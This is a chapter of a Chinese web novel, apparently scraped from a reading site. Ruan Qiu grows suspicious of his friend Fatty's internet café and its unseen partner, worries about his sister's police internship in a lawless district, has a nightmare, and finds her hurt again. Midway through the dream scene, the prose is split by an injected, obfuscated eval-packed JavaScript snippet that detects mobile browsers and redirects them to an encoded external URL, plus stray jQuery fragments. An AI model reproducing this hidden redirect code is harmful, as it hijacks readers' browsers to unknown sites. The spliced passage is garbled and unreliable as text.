95. 意外

作品:《拨云不见日[九零]

    胖子的手顿了一下,回头看了他一眼,那表情微妙得很,说不上是警惕还是心虚。随即,他呵呵笑了两声,仿佛不在意:“还能是谁,不就是带我干活的老大呗。”


    “可是——”阮秋停顿了一下,斟酌着措辞,“我来这里这么久,一次也没见过他。”


    胖子笑得更敷衍了,转身把一份文件拍在桌上:“哎呀,他忙啊。你知道的,这年头有点本事的人,谁还天天守着一间小破网吧?”


    话虽然说得轻飘飘,但阮秋的眉头却越皱越紧。


    不对劲。


    太不对劲了。


    从成哥的存在,到胖子现在的神情,哪儿都不对劲。


    谢胖子的性格就是纯乐天派,哪怕是天塌下来,都不会伤着他分毫。可现在他这模样,就好像明天就是世界末日了似的。


    “有鬼。”阮秋笃定地说。


    “哎呀妈!”胖子吓了一跳,倒不是因为被阮秋这么直白的话给吓得,而是他确实有点怕什么鬼啊神啊的,“你吓哥一跳!”


    胖子嘟囔着“哪有鬼”这种话,转头坐回了椅子上,一边吸溜泡面,一边有一搭没一搭地哼着歌,仿佛刚才的对话从没发生过。


    阮秋却没那么轻易放过。他的目光扫过桌上的文件,那些摊开的纸张显得凌乱,数字和英文混杂在一起,看起来像是某种账单。


    “你到底搞的什么名堂?”他低声问,声音里透着一股压抑的质问。


    胖子啪地一声把文件合上:“生意经,懂不懂?你还是个学生,少管这种事,读好你的书去。”


    阮秋没有再多说,尽管心里那股奇怪的感觉始终挥之不去,但他现在也没空多想——阮云琛傍晚就要从田家庄回来了,他现在脑子塞得满满的都是“该不该接”这个问题。


    前几天还跟阮云琛吵架——也不是吵架,只是他单方面生闷气。现在阮秋又后悔又不后悔的。


    不后悔的点在于他让阮云琛知道了他很在乎她......当然,阮云琛应该早就知道他在乎她。


    后悔的点在于,阮秋觉得自己前几天的脸拉得太长了,现在有点下不来台。


    “有什么下得来下不来的,你去不就完了。”胖子说,“阮妹妹还能吃了你不成?”


    阮秋撑着脸,苦恼得眉头都搅在了一起,无意识地嘀咕了句:“我倒希望她能吃了我。”


    胖子忽地“嘶”了声,斜着眼上下打量了一番阮秋,一时间不知道该说什么好,脸上的表情又是震惊又是害臊又是看热闹不嫌事大的:“你不会是......”


    阮秋给他说愣了,回头瞅了他半天,猛地站起了身,一拳头甩上了胖子的肩:“你一天天的脑子里都是什么乱七八糟的东西!”


    话虽这么说——对,话虽这么说,确实也如胖子所讲,阮云琛还能吃了他不成。


    所以阮秋还是去了客运站。


    阮云琛腰上的伤大概还没恢复完全,俯身从大巴底下掏行李的时候动作有点迟滞。阮秋正好赶到,一下子什么尴尬都全抛去了脑后,一个箭步冲上去就把阮云琛给扯开了。


    “我给你拿。”


    阮云琛愣了愣,“哦”了声,扶着车架子直起了身。


    阮秋将行李拉出来时,听到一声不轻不重的“谢谢”。


    他低头瞧了瞧阮云琛,明明动作有些迟缓,但站在那里时依然挺直,像是骨子里透出来的那股倔劲儿在支撑着她。


    她的腰应该还在疼,可连扶一下车杆的动作都小心翼翼得像没事人。


    “你真该歇着。”阮秋随口说。


    “嗯。”阮云琛点头,语气干脆得像是附和,但脸上那点表情怎么看都不像是真的听进去了。


    他没再说什么,只是自顾自地绕过车尾,把另一件行李也拿了出来。阮云琛看着他的动作,忽然开了口:“淼淼在家?”


    “她在做音乐课的作业。”阮秋回答,停顿了一下,“这次放假,她说要录一段视频,给学校交作业。”


    “录什么?”


    “音乐剧片段。她挑了个难的。”他轻轻笑了一声,像是有些骄傲,又有点嫌麻烦,“说是‘给姐姐看了会惊艳’。”


    阮云琛也笑了笑,但没说话。她伸手拎起包准备走,却在起步时轻轻吸了一口气,动作僵了一下。


    “别逞强。”阮秋一把抢过了她手里的包。


    虽说如此,但谢胖子的事情一直在阮秋脑子里盘旋不去。阮秋沉默了会儿,还是忍不住提了一嘴:“姐,我觉得胖子最近不太对劲。”


    “不太对劲?”阮云琛一愣,条件反射地转过头,但眼底闪过的那一丝不安,转瞬即逝。她没有立刻接话,脑子里一瞬间浮现了些零碎的念头,却很快被她压了下去。


    “你别瞎想。”她语气平静得有些刻意,“胖子能有什么不对劲?顶多是少赚了点钱,念叨两句而已。”


    “可他的账户里最近多了一些奇怪的转账。”阮秋低声说,“那些金额,正常人付网费用得着转那么多?”


    阮云琛的脚步停了一下,但并没有回头。她的声音听起来依旧平静:“那是胖子自己的事情,网吧运营难免有些外账。”


    “可你不觉得这些‘外账’有点过头了?”阮秋站定,语气缓缓加重,“而且成哥这个合伙人,我来这里一年了,连影子都没见过。你就不觉得奇怪?”


    阮云琛眉头轻蹙,侧身看向他,目光微微一沉。


    阮云琛早就觉得不对劲。


    从谢胖子提起“合伙人”时开始,就隐隐有种说不上来的感觉——更别提那网吧的选址,居然是北边的棚户区。


    淮龙的经济这些年确实发展了不少,但北边始终像个被人遗忘的角落。


    那里处于一种“三不管”的状态:警察不愿意管,居民不愿意去,政府不愿意动。


    那些破旧的房子连片站立,街道狭窄,电线像蜘蛛网一样悬在头顶,每隔几天就有一次停电或者跳闸。走在巷子里,空气中总带着股霉味和食物的油烟味。几乎每条小巷的尽头都藏着一些见不得光的生意:赌博,放贷,甚至更糟糕的东西。


    一个普通人要是没点胆子,是不会往那儿开店的。


    而胖子,偏偏选在了那里。


    阮云琛原本以为,胖子或许只是图租金便宜,或者说想避开主城区的竞争,但现在看来,事情恐怕没有这么简单。


    那个“成哥”到底是谁?又为什么从未露面?这些问题像盘旋在空气中的烟雾,挥之不去。


    ——还有谢胖子本人。


    最初开店那段时间,胖子确实显得忙碌又手忙脚乱,这很正常——毕竟他对生意完全不熟。


    可问题是,时间过去了快一年,他的焦虑不仅没有减轻,反而越来越明显。


    胖子是个乐天派,嘴里总能蹦出点让人哭笑不得的段子,可最近几次见到他时,他总是心不在焉的样子,有时候接电话还会避开人。


    这种细枝末节,不仔细想,确实好像毫不相干,但此刻忽地放在一起,就蓦地连成了一张松散的网。


    阮云琛能感觉到它的存在,但一时之间,还摸不到蛛丝马迹的中心。


    她知道自己不能再让阮秋插手太多,北边棚户区的乱象她再清楚不过,那不是一个年轻人该涉足的地方。


    “秋,”她低声说,“胖子看着没个正经,但他知道分寸。成哥不露面,可能是他的业务需要。你别多想了。”


    “所以你也觉得不对劲?”阮秋抓住了她话里的重点,目光定定地看着她。


    阮云琛没接这个问题,而是转开了视线,生硬地转开了话题:“最近淼淼的辅导班和上下学你记着接送,不要让她自己一个人走。”


    阮秋沉默了良久,“嗯”了声。


    回到家时,淼淼正趴在沙发上吃薯片,听到门响,抬头就对着两人翻了个白眼:“怎么才回来?我都写完一套卷子了。”


    阮秋脱下外套丢在一旁:“多写点,对你考试有好处。”


    “对你考试才有好处。”淼淼撇嘴,抱着书本坐直了些,目光从阮秋脸上移到阮云琛身上,忽然皱起眉头,“你们吵架和好了?”


    阮云琛滞了一瞬,阮秋抬手就把淼淼拎回了屋里,扣着门不让她出来:“你不是还有两套卷子吗?写完了吗?话这么多。”


    淼淼“切”了声,伸着脑袋往外面看阮云琛,随后目光又在两人之间来回扫了几圈,最终对阮秋露出一个意味深长的笑,“看来上次是你犯的错。”


    “瞎说什么!”阮秋额头上蹦起了根青筋,“你一天天就不能消停点?”


    “脸拉那么长,戳痛处喽!”淼淼吐了吐舌头,在阮秋真的暴怒之前,缩着头逃了,逃时还不忘“怦”地关上了房间门。


    淼淼跑回自己的房间,阮秋却没心情再追,只是盯着门框,眉头一点点皱了起来。


    这几天阮云琛正值暑期实习,好不容易申请到了淮龙当地的派出所,按照阮秋的想法,这已经是很近的距离了。他一度以为,这会是难得的“家人都在一个城市”的阶段。


    结果她偏偏被分到了城北。


    从家里到城北的距离,说远不远,说近也不近,可偏偏城北那个地方离谢胖子的网吧只有一条街。


    阮秋知道,她申请来淮龙派出所也是为了“就近”照顾淼淼,但……靠近谢胖子算怎么回事?


    本来阮秋也没有那么多意见,可前几天阮云琛回来时无意提到,“最近城北有点麻烦,大家忙得很”,一副没事人一样的轻描淡写,反倒让阮秋心里堵得慌。


    “麻烦”两个字从她嘴里说出来,从来都不会是普通意义上的麻烦。阮秋知道她那伤还没好透,这种时候还要顶着个半愈合的伤口到处跑,就为了一个什么“实习”。


    她最近已经开始变得像廖致远一样了,好几天都不着家。要么是加班回不来,要么是回来了也赶着补材料……


    说到底,阮秋越来越觉得,她这个实习压根不是普通的派出所安排,而是又掺杂了些什么别的东西。


    难道真的......跟胖子有关?


    晚上躺床上的时候,阮秋满脑子都是前些天胖子奇怪的状态。


    倒不是他多关心胖子的事——胖子怎么样跟他又没关系……对,那烦人的家伙跟他没半毛钱关系。可阮秋却没办法不想阮云琛冷不丁嘱咐的话。


    “上下学接送淼淼,不要让她一个人走。”


    上下学接送这种事情……这么多年来,阮秋一直雷打不动风雨不摇地接送着淼淼,生怕出现什么意外状况,这事阮云琛当然也知道。可这会儿她突然这么一提,倒是有点刻意了。


    阮秋翻了个身,枕头底下的手机屏幕亮了一下,淼淼发来的短信弹了出来——短信上附了图,图上是一本还没开封的新漫画。


    “草莓100%第六卷,你没有吧。”


    她骄傲地配了一句。


    阮秋随手划掉消息,盯着天花板的灯,脑子里转着白天的那些细节——谢胖子的神情,阮云琛的嘱咐,零零碎碎像是从手指缝里掉出来的沙子,落得满地都是。


    这些事……阮云琛不会无缘无故提,她一定发现了什么。阮秋越想越觉得不对,眉头皱成了一团。


    他想起谢胖子往日里贱兮兮地笑,那笑容和今天的神情大不相同,甚至跟上回他给自己那本破烂杂志时的样子都不一样......


    忽然,他脑子里闪过一个不合时宜的画面。


    “哥给你的那本杂志,看了没?”


    谢胖子的话像个榔头一样凿进了脑海。


    阮秋猛地睁开眼,心跳蓦然加快了几分,他连忙翻了个身,把头埋进枕头里,试图把那个画面从脑海里甩出去,但那句“你不看白不看”却像个顽固的钉子,怎么拔都拔不掉。


    “什么乱七八糟的东西。”他在黑暗里低声骂了一句,随即闭上了眼。


    可黑暗并没有带来期待中的平静。


    梦像是忽然从深渊里冒出来的潮水,把他整个人卷了进去。


    场景一片朦胧,周围的空气沉闷得像是要凝成固体。他的双腿在飞快地奔跑,脚下的土地坑坑洼洼,满是杂草和碎石,隐隐还能听见身后传来的追喊声。


    “站住!别跑!”


    声音越来越近,他回头看了一眼,看到几个男人举着棍子和锄头,脸上满是凶恶的神色。他的呼吸骤然加快,心跳像是在胸腔里砸着鼓。


    前面是一片密林,他一头扎了进去。树枝刮破了他的手臂,泥土沾满了鞋底。他不知道跑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245311|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了多久,直到嗓子里泛起腥甜,耳边的声音才渐渐远去。


    可他不敢停。


    这不是第一次。


    小时候,他就曾这样拼命地逃跑,逃出那个村子,逃出那些满脸贪婪的目光。


    他早就知道,这个世界上没有人在意他的生死。他唯一能依靠的,就是自己的双腿和一口气。


    他突然跌倒在地,手肘重重砸在石头上,刺痛感让他整个人颤了一下。他抬起头,发现自己躲在一片灌木丛里,周围安静得只剩下自己的喘息声。


    可那片安静很快被打破。


    不远处,灌木丛被拨开,他吓了一跳,猛地蹦了起来。可料想的追捕并没有到来,来的却只是个温柔的怀抱。


    洗衣粉的清香和被太阳晒过的螨虫尸体的味道蹿进鼻腔,混着点说不上来的医院的消毒水味,一点点包裹住了全身。


    “没事了,秋...没事了。”


    阮秋愣住了,梦境在这一刻开始破碎,像是一块碎玻璃被重重地砸下。


    他猛地从床上坐起来,额头上布满了冷汗。胸口的起伏还没平复下来,耳边的风扇声像是从另一个世界传来的。


    屋里很安静,窗外月光斜斜地洒进来。


    阮秋抬手捂住脸,手心里全是汗。


    这该死的梦,竟然比现实还要清晰。


    阮秋咬着牙去了厕所,把衣服和床单被罩全都丢进了洗衣机,泄愤似的舀了两大勺洗衣粉,关上了洗衣机的盖子,调了最大档,狠狠地摁了开始键。


    ——都怪胖子。


    对,都怪谢胖子。


    都怪谢胖子非得给他那本不三不四的杂志,都怪胖子非得在北边开网吧,都怪网吧的地方离阮云琛实习的派出所太近,结果搞得阮云琛......


    搞得阮云琛又一次受伤,原本已经开始结痂的伤口重新裂开,血迹染透了纱布,连同制服一起皱巴巴地贴在了皮肤上。


    阮秋听到消息的时候,已经是第二天的清晨。他急急忙忙赶到医院,一到就看见护士端着一大盘子带着血的纱布走出病房。


    阮秋站在门口,手里的外套捏得皱皱巴巴,忍了半天,才把那股怒火压回了喉咙里:“到底发生什么了?”


    阮云琛卡了下,本条件反射地想敷衍过去,低头时瞧见自己沾着血的制服,意识到实在是有点难撒谎,便只能轻描淡写地说:“没什么,就是巡逻的时候遇上点事,伤口崩裂了而已。”


    阮秋憋住了一声冷笑,眼神扫过了坐在病床旁边难得唯唯诺诺的胖子,人高马大的谢胖子浑身一抖,哂笑着抬起了脑袋。


    阮秋终于还是忍不住了,眉头一皱,声音高了八个度:“你还好意思笑?”


    阮秋瞪着胖子,声音几乎是咬着牙问出来的:“到底怎么回事?”


    谢胖子那一瞬间像是被人按了暂停键,嘴巴动了动,却没发出声音,眼神迅速飘向阮云琛。


    “有几个混混,”阮云琛开口了,语气冷静得像在读报告,“在网吧附近闹事,抢了几个小学生的零花钱。我正好巡逻到那边,就出手帮了一下。谁知道动作大了点,伤口就崩开了。”


    “混混?”阮秋眯起眼,“抢零花钱?”


    “对啊,”谢胖子忽然跟着点头,一脸义愤填膺,“我都气坏了!居然有这种人!小秋,你是不知道,那帮家伙平时就在附近晃悠,仗着自己人多欺负人少,这次碰上了阮妹妹,算他们倒霉!”


    阮秋的目光扫过胖子,又回到阮云琛脸上。他盯着她看了几秒,眉头越皱越紧:“你确定只是混混闹事?”


    “是啊。”阮云琛语气笃定,“要有别的事,胖子就不在这儿了,得在派出所做笔录。”


    ——这其中肯定有鬼。


    但阮秋知道一味地问肯定是问不出什么名堂。


    阮云琛从来都是说一不二的人。她认定的事情,十头牛也拉不回来。更别提她眼下这副模样,冷静得像没事人一样,偏偏还理直气壮,说什么都像真的。


    可阮秋知道,越是这样的态度,就越说明她藏了事。她一向是能扛就扛,哪怕是天塌下来,也得先拿手顶着。


    问下去也没用。


    阮秋低下头,抿了抿唇,终究还是把话咽了回去,只余一道不甘的目光落在她脸上。


    阮云琛换完了药,又去柜台拿了几副消炎药,就出院了。


    毕竟这也就是寻常的伤口崩裂,虽然因为反复裂开而有点感染,但并不是什么需要住院的大病。


    但阮秋还是不放心。


    他站在房门口,手垂在身侧,攥了又松,松了又攥,眉头紧皱着,脑子里打了一场漫长的拉锯战。


    他从未觉得这一扇薄薄的木门竟能生出如此大的阻力。


    “你到底要不要进去?”


    淼淼的声音蓦地从身后传来,阮秋被吓了一跳,回头看她,声音压得低低的:“你管这么多干什么?”


    “我不管。”淼淼抱着臂,站在他身后,表情却分明写满了“我看你憋着难受”。


    她上下打量了他几眼,忽然“哒哒哒”跑上前,抬手就敲了两下门:“姐,有人找!”


    “淼淼!”阮秋瞬间炸毛,压低了声音吼她,眼看着那扇门在他的惊愕中打开了。


    阮云琛穿着一件宽松的T恤,肩膀的绷带隐隐透过布料露出一点痕迹。她倚着门框,目光扫了一眼淼淼,又看了看阮秋,显然刚洗过澡,头发微湿,脸上没有什么表情。


    “什么事?”她的声音平静而淡然。


    淼淼“嘿嘿”一笑,吐了吐舌头,一转身跑去了厕所,只留下阮秋杵在那儿,像被定格了一样,一动不动。


    他怔怔地站在那儿,目光却忍不住飘向了阮云琛的房间里头,桌上摆着一个打开的医药箱,盖子半掀着,镊子和纱布随意地放在一旁,旁边还有一卷没收好的绷带。灯光落在金属器械上,泛着微凉的光,像是一场未完成的战役,余味还残留在空气里。


    阮云琛看了他一眼,脸上还是那副惯常的淡然表情,可她没有立刻关门。两人僵持了几秒,她才微微垂下眼帘,低低地叹了一口气。


    “进来吧。”她的语气平静得听不出一丝波澜,但那口气却像是将两人之间的隔阂轻轻推开了一道缝隙。